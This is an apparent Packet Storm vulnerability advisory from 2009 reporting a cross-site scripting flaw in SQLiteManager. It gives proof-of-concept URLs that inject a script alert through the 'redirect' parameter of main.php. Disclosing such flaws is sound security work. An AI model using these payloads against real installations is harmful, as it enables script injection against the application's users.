SQLiteManager Cross Site Scripting

2009-08-11T00:00:00
ID PACKETSTORM:80256
Type packetstorm
Reporter Hadi Kiamarsi
Modified 2009-08-11T00:00:00

Description

                                        
                                            `  
###########################################  
#  
# SqLiteManager ( All Version ) Cross Site Scripting  
#  
# Found by : Hadi Kiamarsi  
#  
# Contact : hadikiamarsi@gmail.com  
#  
# Download : http://downloads.sourceforge.net/project/sqlitemanager/sqlitemanager/1.2.0/SQLiteManager-1.2.0.zip?use_mirror=heanet  
#  
###########################################  
  
PoC :  
  
http://[www.example.com]/main.php?redirect=<script>alert('Hadi Kiamarsi')</script>  
  
http://[www.example.com]/[PATH]/main.php?redirect=<script>alert('Hadi Kiamarsi')</script>  
  
  
local Example :  
  
  
http://localhost/main.php?redirect=<script>alert('Hadi Kiamarsi')</script>  
`